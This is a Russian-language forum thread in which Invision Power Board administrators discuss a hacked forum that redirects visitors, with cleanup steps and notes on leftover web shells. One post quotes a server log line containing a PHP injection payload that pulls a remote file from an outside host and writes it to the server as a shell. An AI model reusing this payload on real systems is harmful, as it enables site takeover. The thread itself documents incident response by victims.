Переходит на сторонний сайт - Страница 2 - Дизайн и модификация Invision Power Board

Перейти к содержимому

 

Правила раздела

Здесь обсуждаются вопросы по настройке и администрированию форумов IPB 3.x.
Пожалуйста, не оффтопьте, если зашли сюда случайно, и обратите внимание на соседние разделы.
Установка, настройка и обслуживание форумов IPB 2.x.
Оформление форумов, включая верстку скинов.
Размещение рекламы на форумах.
SEO оптимизация форума.
Техническая поддержка наших скинов и модов.

СвернутьПрикрепленные теги

вирус ipb

  • 2 Страниц +
  • 1
  • 2
  • Вы не можете создавать новые темы
  • Тема закрыта

Переходит на сторонний сайт

#16 Пользователь не на сайте   Енот ответил: »

 
 
  • Member
  • **
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 78
  • Регистрация: 12-Май 12
  • Репутация: 2
  • Откуда:Мурманск
  • IPB version:3.3.x
 

Отправлено 26 Ноябрь 2012 - 07:52

Итог:
  • Развернут бейкап
  • Удален sh.php
  • Удален .htaccess (зараженный)
  • Удален photo-128.jpg
  • Перестроил кеш и переимпортировал хуки
  • Пропатчил


Может кто помочь найти, осталось ли еще что-то?
0

#17 Пользователь не на сайте   mike77 ответил: »

 
 
  • Newbie
  • *
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 6
  • Регистрация: 23-Декабрь 10
  • Репутация: 0
  • IPB version:3.1.x
 

Отправлено 27 Ноябрь 2012 - 03:51

аналогичная проблема. IPB 3.2.3. По логам обнаружено вот это:

GET /forums/index.php?<?error_reporting(0);print(___);copy('http://desktop-dja-1.ru/go/greed.txt','q00p.php');die;?> HTTP/1.0" 301 - "-" "-"

следом:

GET /forums/ HTTP/1.0" 200 58 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"

т.е. на сервере у меня уже находится исполняемый w00t.php. Как закрыть эту дыру?
0

#18 Пользователь на сайте   siv1987 ответил: »

 
 
  • Advanced
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: IPB Skins Team
  • Сообщений: 8 691
  • Регистрация: 20-Март 09
  • Репутация: 2 261
  • IPB version:3.1.x
 

Отправлено 27 Ноябрь 2012 - 05:21

mike77, у вас проблемы с отображением сообщений в темах? Я вроде помню давал на предыдущей страницы ссылку на топик где как раз об этом говорится.
0

#19 Пользователь не на сайте   Fisana ответил: »

 
 
  • На PM не отвечаю
  • Смотреть блог
  • Смотреть галерею
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: IPB Skins Team
  • Сообщений: 13 190
  • Регистрация: 21-Ноябрь 05
  • Репутация: 695
  • Откуда:Из интернетов
  • IPB version:3.1.x
 

Отправлено 27 Ноябрь 2012 - 09:58

У кого-то аналогичные проблемы
В тему из пс заходят с запросами
http://desktop-dja-1.ru

0

#20 Пользователь не на сайте   Ritsuka ответил: »

 
 
  • ***
  • Смотреть галерею
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: Пользователи
  • Сообщений: 1 908
  • Регистрация: 08-Июнь 09
  • Репутация: 531
  • IPB version:3.4.x
 

Отправлено 27 Ноябрь 2012 - 10:18

Кто-то месяц назад очень радовался, что отечественные школьники еще пока не используют уязвимость. Вот, пожалуйста :)

Прикрою тему, а то будут тут создавать новые и новые посты в полной уверенности, что у них какой-то особый случай злостного хакинга, а не печальное сочетание нуля и полного безразличия к вопросам безопасности своего форума.
1

#21 Пользователь на сайте   siv1987 ответил: »

 
 
  • Advanced
  • Insert nick to fast reply form
  • Quote selected text to fast reply form
  • Группа: IPB Skins Team
  • Сообщений: 8 691
  • Регистрация: 20-Март 09
  • Репутация: 2 261
  • IPB version:3.1.x
 

Отправлено 28 Ноябрь 2012 - 18:44

Енот, уж не знаю как вы "начисто" восстанавливали бэкап и за какое он время, но у вас еще есть шеллы в /cache/. http://ipbskins.ru/f...dpost__p__70663
0

Сообщить об этой теме:


  • 2 Страниц +
  • 1
  • 2
  • Вы не можете создавать новые темы
  • Тема закрыта

1 пользователей читают эту тему
0 зарегистрированных, 1 гостей, 0 скрытых


Контактная информация

Вопросы по работе сайта

+7 (917) 501-4765
C 10 до 20 в рабочие дни (время московское)

Техническая поддержка

Контактные данные специалистов

Дизайн форумов

IPB 3.x ¦ IPB 2.x

Бесплатные шаблоны

IPB 3.2 – 3.4 ¦ IPB 3.1 ¦ IPB 3.0 ¦ IPB 2.2 – 2.3 ¦ IPB 2.1 ¦ Клипарт
Лицензия на использование ¦ Ваша поддержка ¦ О проекте
Copyright © 2005-2016 IPBSkins.ru Team
При копировании материалов с сайта
прямая ссылка на источник обязательна